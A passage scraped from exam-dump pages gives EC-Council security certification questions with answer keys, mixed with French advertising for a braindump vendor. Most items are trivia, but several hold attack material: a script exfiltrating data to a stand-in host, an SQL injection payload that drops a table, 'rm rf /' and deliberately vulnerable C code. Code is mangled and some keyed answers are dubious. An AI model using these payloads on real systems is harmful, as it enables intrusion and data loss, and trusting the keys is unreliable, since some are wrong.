computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL   312-92   312-92   312-92 exam

NO.5 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL   312-92 study guide   312-92 exam simulations

NO.6 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

EC-COUNCIL exam dumps   312-92   312-92 exam dumps   312-92   312-92

NO.7 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

EC-COUNCIL   312-92   312-92   312-92   312-92

NO.8 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

EC-COUNCIL   312-92   312-92   312-92 exam dumps

NO.9 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

EC-COUNCIL exam   312-92   312-92 study guide   312-92 exam   312-92

NO.10 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

EC-COUNCIL exam dumps   312-92 test   312-92

NO.11 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL   312-92   312-92   312-92 original questions

NO.12 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

EC-COUNCIL   312-92 test answers   312-92 exam prep   312-92 pdf

NO.13 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL dumps   312-92 certification   312-92   312-92 certification training

NO.14 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

EC-COUNCIL study guide   312-92   312-92 practice test   312-92   312-92

NO.15 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

EC-COUNCIL   312-92   312-92

ITCertMaster offer the latest 000-400 Practice Test and high-quality 000-120 PDF Exam Questions training material. Our HP2-Z24 VCE testing engine and 700-101 dumps can help you pass the real exam. High-quality 000-274 Exam Questions & Answers can 100% guarantee you pass the exam faster and easier. Pass the exam to obtain certification is so simple.

Article Link: http://www.itcertmaster.com/312-92.html

Les meilleures EC-COUNCIL 312-50v7 examen pratique questions et réponses

Pas besoin de beaucoup d'argent et de temps, vous pouvez passer le test EC-COUNCIL 312-50v7 juste avec la Q&A de EC-COUNCIL 312-50v7 offerte par Pass4Test qui vous offre le test simulation bien proche de test réel.

Le test EC-COUNCIL 312-50v7 est test certification très répandu dans l'industrie IT. Vous pourriez à améliorer votre niveau de vie, l'état dans l'industrie IT, etc. C'est aussi un test très rentable, mais très difficile à réussir.

Si vous voulez se prouver une compétition et s'enraciner le statut dans l'industrie IT à travers de test Certification EC-COUNCIL 312-50v7, c'est obligatoire que vous devez avior les connaissances professionnelles. Mais il demande pas mal de travaux à passer le test Certification EC-COUNCIL 312-50v7. Peut-être d'obtenir le Certificat EC-COUNCIL 312-50v7 peut promouvoir le tremplin vers l'Industrie IT, mais vous n'avez pas besoin de travailler autant dur à préparer le test. Vous avez un autre choix à faire toutes les choses plus facile : prendre le produit de Pass4Test comme vos matériaux avec qui vous vous pratiquez avant le test réel. La Q&A de Pass4Test est recherchée particulièrement pour le test IT.

Code d'Examen: 312-50v7
Nom d'Examen: EC-COUNCIL (Ethical Hacking and Countermeasures (CEHv7))
Questions et réponses: 514 Q&As

Le test EC-COUNCIL 312-50v7 est bien populaire dans l'Industrie IT. Mais ça coûte beaucoup de temps pour bien préparer le test. Le temps est certainemetn la fortune dans cette société. L'outil de formation offert par Pass4Test ne vous demande que 20 heures pour renforcer les connaissances essentales pour le test EC-COUNCIL 312-50v7. Vous aurez une meilleure préparation bien que ce soit la première fois à participer le test.

312-50v7 Démo gratuit à télécharger: http://www.pass4test.fr/312-50v7.html

NO.1 This IDS defeating technique works by splitting a datagram (or packet) into multiple fragments and the
IDS will not spot the true nature of the fully assembled datagram. The datagram is not reassembled until it
reaches its final destination. It would be a processor-intensive task for IDS to reassemble all fragments
itself, and on a busy system the packet will slip through the IDS onto the network. What is this technique
called?
A. IP Routing or Packet Dropping
B. IDS Spoofing or Session Assembly
C. IP Fragmentation or Session Splicing
D. IP Splicing or Packet Reassembly
Answer: C

certification EC-COUNCIL   312-50v7   312-50v7   certification 312-50v7   312-50v7

NO.2 More sophisticated IDSs look for common shellcode signatures. But even these systems can be
bypassed, by using polymorphic shellcode. This is a technique common among virus writers ?it basically
hides the true nature of the shellcode in different disguises.
How does a polymorphic shellcode work?
A. They encrypt the shellcode by XORing values over the shellcode, using loader code to decrypt the
shellcode, and then executing the decrypted shellcode
B. They convert the shellcode into Unicode, using loader to convert back to machine code then executing
them
C. They reverse the working instructions into opposite order by masking the IDS signatures
D. They compress shellcode into normal instructions, uncompress the shellcode using loader code and
then executing the shellcode
Answer: A

EC-COUNCIL   312-50v7   312-50v7   312-50v7 examen

NO.3 You run nmap port Scan on 10.0.0.5 and attempt to gain banner/server information from services
running on ports 21, 110 and 123.
Here is the output of your scan results:
Which of the following nmap command did you run?
A. nmap -A -sV -p21,110,123 10.0.0.5
B. nmap -F -sV -p21,110,123 10.0.0.5
C. nmap -O -sV -p21,110,123 10.0.0.5
D. nmap -T -sV -p21,110,123 10.0.0.5
Answer: C

EC-COUNCIL   312-50v7   312-50v7   certification 312-50v7   312-50v7

NO.4 Jack Hacker wants to break into Brown Co.'s computers and obtain their secret double fudge cookie
recipe. Jack calls Jane, an accountant at Brown Co., pretending to be an administrator from Brown Co.
Jack tells Jane that there has been a problem with some accounts and asks her to verify her password
with him ''just to double check our records.'' Jane does not suspect anything amiss, and parts with her
password. Jack can now access Brown Co.'s computers with a valid user name and password, to steal
the cookie recipe. What kind of attack is being illustrated here?
A. Reverse Psychology
B. Reverse Engineering
C. Social Engineering
D. Spoofing Identity
E. Faking Identity
Answer: C

EC-COUNCIL examen   certification 312-50v7   312-50v7   312-50v7

NO.5 How do you defend against ARP Spoofing? Select three.
A. Use ARPWALL system and block ARP spoofing attacks
B. Tune IDS Sensors to look for large amount of ARP traffic on local subnets
C. Use private VLANS
D. Place static ARP entries on servers, workstation and routers
Answer: A,C,D

EC-COUNCIL   312-50v7 examen   certification 312-50v7   certification 312-50v7   312-50v7

NO.6 What type of attack is shown in the following diagram?
A. Man-in-the-Middle (MiTM) Attack
B. Session Hijacking Attack
C. SSL Spoofing Attack
D. Identity Stealing Attack
Answer: A

EC-COUNCIL examen   certification 312-50v7   312-50v7

NO.7 Which of the following countermeasure can specifically protect against both the MAC Flood and MAC
Spoofing attacks?
A. Configure Port Security on the switch
B. Configure Port Recon on the switch
C. Configure Switch Mapping
D. Configure Multiple Recognition on the switch
Answer: A

EC-COUNCIL   certification 312-50v7   312-50v7   312-50v7   certification 312-50v7

NO.8 You are the security administrator of Jaco Banking Systems located in Boston. You are setting up
e-banking website (http://www.ejacobank.com) authentication system. Instead of issuing banking
customer with a single password, you give them a printed list of 100 unique passwords. Each time the
customer needs to log into the e-banking system website, the customer enters the next password on the
list. If someone sees them type the password using shoulder surfing, MiTM or keyloggers, then no
damage is done because the password will not be accepted a second time. Once the list of 100
passwords is almost finished, the system automatically sends out a new password list by encrypted e-mail
to the customer.
You are confident that this security implementation will protect the customer from password abuse.
Two months later, a group of hackers called "HackJihad" found a way to access the one-time password
list issued to customers of Jaco Banking Systems. The hackers set up a fake website
(http://www.e-jacobank.com) and used phishing attacks to direct ignorant customers to it. The fake
website asked users for their e-banking username and password, and the next unused entry from their
one-time password sheet. The hackers collected 200 customer's username/passwords this way. They
transferred money from the customer's bank account to various offshore accounts.
Your decision of password policy implementation has cost the bank with USD 925,000 to hackers. You
immediately shut down the e-banking website while figuring out the next best security solution
What effective security solution will you recommend in this case?
A. Implement Biometrics based password authentication system. Record the customers face image to the
authentication database
B. Configure your firewall to block logon attempts of more than three wrong tries
C. Enable a complex password policy of 20 characters and ask the user to change the password
immediately after they logon and do not store password histories
D. Implement RSA SecureID based authentication system
Answer: D

EC-COUNCIL examen   certification 312-50v7   312-50v7   certification 312-50v7   certification 312-50v7   312-50v7

NO.9 Jimmy, an attacker, knows that he can take advantage of poorly designed input validation routines to
create or alter SQL commands to gain access to private data or execute commands in the database.
What technique does Jimmy use to compromise a database.?
A. Jimmy can submit user input that executes an operating system command to compromise a target
system
B. Jimmy can gain control of system to flood the target system with requests, preventing legitimate users
from gaining access
C. Jimmy can utilize an incorrect configuration that leads to access with higher-than expected privilege of
the database
D. Jimmy can utilize this particular database threat that is an SQL injection technique to penetrate a target
system
Answer: D

EC-COUNCIL   312-50v7 examen   certification 312-50v7

NO.10 Lori is a Certified Ethical Hacker as well as a Certified Hacking Forensics Investigator working as an IT
security consultant. Lori has been hired on by Kiley Innovators, a large marketing firm that recently
underwent a string of thefts and corporate espionage incidents. Lori is told that a rival marketing company
came out with an exact duplicate product right before Kiley Innovators was about to release it. The
executive team believes that an employee is leaking information to the rival company. Lori questions all
employees, reviews server logs, and firewall logs; after which she finds nothing. Lori is then given
permission to search through the corporate email system. She searches by email being sent to and sent
from the rival marketing company.
She finds one employee that appears to be sending very large email to this other marketing company,
even though they should have no reason to be communicating with them. Lori tracks down the actual
emails sent and upon opening them, only finds picture files attached to them. These files seem perfectly
harmless, usually containing some kind of joke. Lori decides to use some special software to further
examine the pictures and finds that each one had hidden text that was stored in each picture.
What technique was used by the Kiley Innovators employee to send information to the rival marketing
company?
A. The Kiley Innovators employee used cryptography to hide the information in the emails sent
B. The method used by the employee to hide the information was logical watermarking
C. The employee used steganography to hide information in the picture attachments
D. By using the pictures to hide information, the employee utilized picture fuzzing
Answer: C

EC-COUNCIL   312-50v7   certification 312-50v7

NO.11 What does ICMP (type 11, code 0) denote?
A. Source Quench
B. Destination Unreachable
C. Time Exceeded
D. Unknown Type
Answer: C

certification EC-COUNCIL   312-50v7   312-50v7   312-50v7   312-50v7

NO.12 The following script shows a simple SQL injection. The script builds an SQL query by concatenating
hard-coded strings together with a string entered by the user: The user is prompted to enter the name of a
city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
A. Chicago'; drop table OrdersTable -
B. Delete table'blah'; OrdersTable -
C. EXEC; SELECT * OrdersTable > DROP -
D. cmdshell'; 'del c:\sql\mydb\OrdersTable' //
Answer: A

EC-COUNCIL examen   certification 312-50v7   312-50v7

NO.13 Which of the following type of scanning utilizes automated process of proactively identifying
vulnerabilities of the computing systems present on a network?
A. Port Scanning
B. Single Scanning
C. External Scanning
D. Vulnerability Scanning
Answer: D

EC-COUNCIL examen   certification 312-50v7   312-50v7 examen   312-50v7   312-50v7

NO.14 How do you defend against Privilege Escalation?
A. Use encryption to protect sensitive data
B. Restrict the interactive logon privileges
C. Run services as unprivileged accounts
D. Allow security settings of IE to zero or Low
E. Run users and applications on the least privileges
Answer: A,B,C,E

EC-COUNCIL examen   312-50v7   312-50v7

NO.15 This type of Port Scanning technique splits TCP header into several packets so that the packet filters
are not able to detect what the packets intends to do.
A. UDP Scanning
B. IP Fragment Scanning
C. Inverse TCP flag scanning
D. ACK flag scanning
Answer: B

EC-COUNCIL examen   312-50v7 examen   312-50v7   312-50v7

NO.16 Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order
to find some information about the target they are attempting to penetrate. How would you call this type of
activity?
A. Dumpster Diving
B. Scanning
C. CI Gathering
D. Garbage Scooping
Answer: A

EC-COUNCIL   certification 312-50v7   certification 312-50v7

NO.17 SYN Flood is a DOS attack in which an attacker deliberately violates the three-way handshake and
opens a large number of half-open TCP connections. The signature of attack for SYN Flood contains:
A. The source and destination address having the same value
B. A large number of SYN packets appearing on a network without the corresponding reply packets
C. The source and destination port numbers having the same value
D. A large number of SYN packets appearing on a network with the corresponding reply packets
Answer: B

EC-COUNCIL examen   312-50v7 examen   312-50v7 examen

NO.18 TCP SYN Flood attack uses the three-way handshake mechanism.
An attacker at system A sends a SYN packet to victim at system B.
System B sends a SYN/ACK packet to victim A.
As a normal three-way handshake mechanism system A should send an ACK packet to system B,
however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK
packet from client A.
This status of client B is called _________________
A. "half-closed"
B. "half open"
C. "full-open"
D. "xmas-open"
Answer: B

EC-COUNCIL   312-50v7   312-50v7   certification 312-50v7

NO.19 If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of
business, they just have to find a job opening, prepare someone to pass the interview, have that person
hired, and they will be in the organization.
How would you prevent such type of attacks?
A. It is impossible to block these attacks
B. Hire the people through third-party job agencies who will vet them for you
C. Conduct thorough background checks before you engage them
D. Investigate their social networking profiles
Answer: C

EC-COUNCIL examen   312-50v7 examen   312-50v7 examen   certification 312-50v7   312-50v7   certification 312-50v7

NO.20 Anonymizer sites access the Internet on your behalf, protecting your personal information from
disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you,
enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services
that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a
Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the
information using its own server. The remote server (where the requested Web page resides) receives
information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A. Increase your Web browsing bandwidth speed by using Anonymizer
B. To protect your privacy and Identity on the Internet
C. To bypass blocking applications that would prevent access to Web sites or parts of sites that you want
to visit.
D. Post negative entries in blogs without revealing your IP identity
Answer: B,C,D

certification EC-COUNCIL   certification 312-50v7   312-50v7   certification 312-50v7

Quand vous hésitez même à choisir Pass4Test, le démo gratuit dans le site Pass4Test est disponible pour vous à essayer avant d'acheter. Nos démos vous feront confiant à choisir Pass4Test. Pass4Test est votre meilleur choix à passer l'examen de Certification EC-COUNCIL 312-50v7, et aussi une meilleure assurance du succès du test 312-50v7. Vous choisissez Pass4Test, vous choisissez le succès.

L'avènement de la certification EC-COUNCIL pratique d'examen ECSS questions et réponses

Un bon choix de l'outil à se former est le point essentiel à passer le test EC-COUNCIL ECSS, et les documentations à propos de rechercher le test EC-COUNCIL ECSS est toujours une part plus importante pendant la préparation de test Certification. Les Q&As offertes par les experts de Pass4Test sont presque même que les tests réels. Pass4Test est un site web particulièrement en apportant les facilités aux gens qui veulent passer le test Certification.

Pour réussir le test EC-COUNCIL ECSS demande beaucoup de connaissances professionnelles IT. Il n'y a que les gens qui possèdent bien les connaissances complètes à participer le test EC-COUNCIL ECSS. Maintenant, on a les autres façons pour se former. Bien que vous n'ayez pas une connaissance complète maintenant, vous pouvez quand même réussir le test EC-COUNCIL ECSS avec l'aide de Pass4Test. En comparaison des autres façons, cette là dépense moins de temps et de l'effort. Tous les chemins mènent à Rome.

Dans cette époque glorieuse, l'industrie IT est devenue bien intense. C'est raisonnable que le test EC-COUNCIL ECSS soit un des tests plus populaires. Il y a de plus en plus de gens qui veulent participer ce test, et la réussite de test EC-COUNCIL ECSS est le rêve pour les professionnels ambitieux.

Code d'Examen: ECSS
Nom d'Examen: EC-COUNCIL (EC-Council Certified Security Specialist Practice Test)
Questions et réponses: 337 Q&As

La population de la Certification EC-COUNCIL ECSS est très claire dans l'Industrie IT. Pass4Test se contribue à vous aider à réussir le test, de plus, un an de la mise à jour gratuite pendant est gratuite pour vous. Pass4Test sera le catalyseur de la réalisation de votre rêve. Pour le succès demain, Pass4Test est votre von choix. Vous serez le prochain talent de l'Indutrie IT sous l'aide de Pass4Test.

ECSS Démo gratuit à télécharger: http://www.pass4test.fr/ECSS.html

NO.1 Which of the following statements best describes a certification authority?
A. A certification authority is a type of encryption that uses a public key and a private key pair fordata
encryption.
B. A certification authority is an entity that issues digital certificates for use by other parties.
C. A certification authority is a technique to authenticate digital documents by using
computercryptography.
D. A certification authority is a type of encryption that uses a single key to encrypt and decryp t data.
Answer: B

EC-COUNCIL examen   ECSS   ECSS   certification ECSS   ECSS

NO.2 John works as an Office Assistant in DataSoft Inc. He has received an e-mail from
duesoft_lotterygroup@us.com with the following message:
The DueSoft Lottery Incorporation
This is to inform you that you have just won a prize of $7,500.00 for this year's Annual Lottery promotion,
which was organized by Msn/Yahoo Lottery in conjunction with DueSoft. We collect active online e-mails
and select five people every year as our winners through an electronic balloting machine. Please reply
within three days of receiving this e-mail with your full details like Name, Address, Sex, Occupation, Age,
State, Telephone number, and Country to claim your prize.
If John replies to this e-mail, which of the following attacks may he become vulnerable to?
A. Salami attack
B. Man-in-the-Middle attack
C. Phishing attack
D. DoS attack
Answer: C

EC-COUNCIL   ECSS   certification ECSS   certification ECSS   ECSS

NO.3 You work as a Network Administrator for Tech Perfect Inc. The company requires a secure wireless
network. To provide security, you are configuring ISA Server 2006 as a firewall. While configuring
ISA Server 2006, which of the following is NOT necessary?
A. Defining how ISA Server would cache Web contents
B. Defining ISA Server network configuration
C. Setting up of monitoring on ISA Server
D. Configuration of VPN access
Answer: D

EC-COUNCIL   certification ECSS   certification ECSS   certification ECSS   ECSS

NO.4 Fill in the blank with the appropriate word ___is software that is a subcategory of malware and refers to
unwanted software that performs malicious actions on a user's computer. Some its examples are Trojan,
adware, and spyware.
A. Crimeware
Answer: A

certification EC-COUNCIL   ECSS   ECSS   ECSS

NO.5 Which of the following proxy servers is also referred to as transparent proxies or forced proxies?
A. Intercepting proxy server
B. Anonymous proxy server
C. Reverse proxy server
D. Tunneling proxy server
Answer: A

EC-COUNCIL examen   certification ECSS   ECSS   ECSS

NO.6 John works as a professional Ethical Hacker. He has been assigned the project of testing the security
of www.we-are-secure.com. He is using a tool to crack the wireless encryption keys. The description of
the tool is as follows:
Which of the following tools is John using to crack the wireless encryption keys?
A. AirSnort
B. Kismet
C. PsPasswd
D. Cain
Answer: A

EC-COUNCIL   ECSS   certification ECSS

NO.7 Firewalking is a technique that can be used to gather information about a remote network protected by a
firewall. This technique can be used effectively to perform information gathering attacks. In this technique,
an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall. Which
of the following are pre-requisites for an attacker to conduct firewalking?
Each correct answer represents a complete solution. Choose all that apply.
A. ICMP packets leaving the network should be allowed.
B. An attacker should know the IP address of the last known gateway before the firewall.
C. There should be a backdoor installed on the network.
D. An attacker should know the IP address of a host located behind the firewall.
Answer: A,B,D

EC-COUNCIL   ECSS   certification ECSS   ECSS   ECSS

NO.8 Which of the following is the first computer virus that was used to infect the boot sector of storage
media formatted with the DOS File Allocation Table (FAT) file system?
A. I love you
B. Melissa
C. Tequila
D. Brain
Answer: D

EC-COUNCIL   ECSS   ECSS   ECSS

NO.9 Which of the following security policies will you implement to keep safe your data when you connect
your Laptop to the office network over IEEE 802.11 WLANs?
Each correct answer represents a complete solution. Choose two.
A. Using a protocol analyzer on your Laptop to monitor for risks.
B. Using an IPSec enabled VPN for remote connectivity.
C. Using portscanner like nmap in your network.
D. Using personal firewall software on your Laptop.
Answer: B,D

EC-COUNCIL examen   certification ECSS   ECSS   ECSS   certification ECSS

NO.10 Linux traffic monitoring tools are used to monitor and quickly detect faults in the network or a system.
Which of the following tools are used to monitor traffic of the Linux operating system?
Each correct answer represents a complete solution. Choose all that apply.
A. PsExec
B. IPTraf
C. MRTG
D. PsLogList
E. Ntop
Answer: B,C,E

certification EC-COUNCIL   ECSS examen   ECSS

NO.11 Which of the following OSI layers is responsible for protocol conversion, data encryption/decryption,
and data compression?
A. Transport layer
B. Presentation layer
C. Data-link layer
D. Network layer
Answer: B

certification EC-COUNCIL   certification ECSS   ECSS examen   ECSS examen   ECSS

NO.12 Which of the following representatives of incident response team takes forensic backups of the systems
that are the focus of the incident?
A. Lead investigator
B. Information security representative
C. Technical representative
D. Legal representative
Answer: C

EC-COUNCIL examen   ECSS examen   ECSS   ECSS

NO.13 You have just set up a wireless network for customers at a coffee shop. Which of the following are
good security measures to implement?
Each correct answer represents a complete solution. Choose two.
A. Using WEP encryption
B. Using WPA encryption
C. Not broadcasting SSID
D. MAC filtering the router
Answer: A,B

EC-COUNCIL examen   certification ECSS   certification ECSS   ECSS examen

NO.14 Which of the following types of attacks cannot be prevented by technical measures only?
A. Brute force
B. Ping flood attack
C. Smurf DoS
D. Social engineering
Answer: D

EC-COUNCIL   certification ECSS   ECSS   ECSS

NO.15 You are responsible for security at a company that uses a lot of Web applications. You are most
concerned about flaws in those applications allowing some attacker to get into your network. What
method would be best for finding such flaws?
A. Vulnerability scanning
B. Manual penetration testing
C. Automated penetration testing
D. Code review
Answer: A

EC-COUNCIL   ECSS examen   ECSS   ECSS   ECSS examen

NO.16 Which of the following attacks CANNOT be detected by an Intrusion Detection System (IDS)?
Each correct answer represents a complete solution. Choose all that apply.
A. Denial-of-Service (DoS) attack
B. E-mail spoofing
C. Port scan attack
D. Shoulder surfing
Answer: B,D

EC-COUNCIL   ECSS   ECSS examen   ECSS

NO.17 Which of the following needs to be documented to preserve evidences for presentation in court?
A. Incident response policy
B. Account lockout policy
C. Separation of duties
D. Chain of custody
Answer: D

certification EC-COUNCIL   certification ECSS   ECSS examen

NO.18 Which of the following security protocols are based on the 802.11i standard.?
Each correct answer represents a complete solution. Choose all that apply.
A. WEP
B. WPA2
C. WPA
D. WEP2
Answer: B,C

EC-COUNCIL   ECSS   ECSS examen

NO.19 Which of the following statements are true about routers?
Each correct answer represents a complete solution. Choose all that apply.
A. Routers are responsible for making decisions about which of several paths network (orInternet)traffic
will follow.
B. Routers do not limit physical broadcast traffic.
C. Routers organize addresses into classes, which are used to determine how to move packets fromone
network to another.
D. Routers act as protocol translators and bind dissimilar networks.
Answer: A,C,D

EC-COUNCIL   ECSS   certification ECSS   ECSS

NO.20 Kerberos is a computer network authentication protocol that allows individuals communicating over a
non-secure network to prove their identity to one another in a secure manner. Which of the following
statements are true about the Kerberos authentication scheme?
Each correct answer represents a complete solution. Choose all that apply.
A. Kerberos requires continuous availability of a central server.
B. Kerberos builds on Asymmetric key cryptography and requires a trusted third party.
C. Dictionary and brute force attacks on the initial TGS response to a client may reveal the
subject'spasswords.
D. Kerberos requires the clocks of the involved hosts to be synchronized.
Answer: A,C,D

EC-COUNCIL   certification ECSS   ECSS

Beaucoup de travailleurs espèrent obtenir quelques Certificat IT pour avoir une plus grande space de s'améliorer. Certains certificats peut vous aider à réaliser ce rêve. Le test EC-COUNCIL ECSS est un certificat comme ça. Mais il est difficile à réussir. Il y a plusieurs façons pour se préparer, vous pouvez dépenser plein de temps et d'effort, ou vous pouvez choisir une bonne formation en Internet. Pass4Test est un bon fournisseur de l'outil formation de vous aider à atteindre votre but. Selons vos connaissances à propos de Pass4Test, vous allez faire un bon choix de votre formation.

312-50 dernières questions d'examen certification EC-COUNCIL et réponses publiés

Pass4Test est un site d'offrir la bonne Q&A EC-COUNCIL 312-50. Le produit offert par Pass4Test peut vous aider à réussir ce test très difficile. Si vous ajoutez le produit au panier, vous allez économiser le temps et l'effort. Le produiti Pass4Test est bien réputé dans l'Idustrie IT.

Le test EC-COUNCIL 312-50 est le premier pas pour promouvoir dans l'Industrie IT, mais aussi la seule rue ramenée au pic de succès. Le test EC-COUNCIL 312-50 joue un rôle très important dans cette industrie. Et aussi, Pass4Test est un chaînon inevitable pour réussir le test sans aucune doute.

C'est pas facile à passer le test Certification EC-COUNCIL 312-50, choisir une bonne formation est le premier bas de réussir, donc choisir une bonne resource des informations de test EC-COUNCIL 312-50 est l'assurance du succès. Pass4Test est une assurance comme ça. Une fois que vous choisissez le test EC-COUNCIL 312-50, vous allez passer le test EC-COUNCIL 312-50 avec succès, de plus, un an de service en ligne après vendre est gratuit pour vous.

Aujourd'hui, il y a pleine de professionnels IT dans cette société. Ces professionnels sont bien populaires mais ils ont à être en face d'une grande compétition. Donc beaucoup de professionnels IT se prouver par les tests de Certification très difficile à réussir. Pass4Test est voilà pour offrir un raccourci au succès de test Certification.

Code d'Examen: 312-50
Nom d'Examen: EC-COUNCIL (Ethical Hacker Certified)
Questions et réponses: 765 Q&As

312-50 Démo gratuit à télécharger: http://www.pass4test.fr/312-50.html

NO.1 To what does "message repudiation" refer to what concept in the realm of email
security?
A. Message repudiation means a user can validate which mail server or servers a message
was passed through.
B. Message repudiation means a user can claim damages for a mail message that
damaged their reputation.
C. Message repudiation means a recipient can be sure that a message was sent from a
particular person.
D. Message repudiation means a recipient can be sure that a message was sent from a
certain host.
E. Message repudiation means a sender can claim they did not actually send a particular
message.
Answer: E

EC-COUNCIL   certification 312-50   312-50   312-50

NO.2 Which one of the following is defined as the process of distributing incorrect
Internet Protocol (IP) addresses/names with the intent of diverting traffic?
A. Network aliasing
B. Domain Name Server (DNS) poisoning
C. Reverse Address Resolution Protocol (ARP)
D. Port scanning
Answer: B

EC-COUNCIL   312-50 examen   312-50 examen   certification 312-50   312-50 examen

NO.3 A Certkiller security System Administrator is reviewing the network system log files.
He notes the following:
- Network log files are at 5 MB at 12:00 noon.
-At 14:00 hours, the log files at 3 MB.
What should he assume has happened and what should he do about the situation?
A. He should contact the attacker's ISP as soon as possible and have the connection
disconnected.
B. He should log the event as suspicious activity, continue to investigate, and take further
steps according to site security policy.
C. He should log the file size, and archive the information, because the router crashed.
D. He should run a file system check, because the Syslog server has a self correcting file
system problem.
E. He should disconnect from the Internet discontinue any further unauthorized use,
because an attack has taken place.
Answer: B

EC-COUNCIL examen   312-50   312-50

NO.4 What is "Hacktivism"?
A. Hacking for a cause
B. Hacking ruthlessly
C. An association which groups activists
D. None of the above
Answer: A

EC-COUNCIL examen   312-50   312-50 examen

NO.5 A very useful resource for passively gathering information about a target company
is:
A. Host scanning
B. Whois search
C. Traceroute
D. Ping sweep
Answer: B

EC-COUNCIL examen   312-50 examen   312-50   312-50 examen

NO.6 Which of the following activities will NOT be considered as passive footprinting?
A. Go through the rubbish to find out any information that might have been discarded.
B. Search on financial site such as Yahoo Financial to identify assets.
C. Scan the range of IP address found in the target DNS database.
D. Perform multiples queries using a search engine.
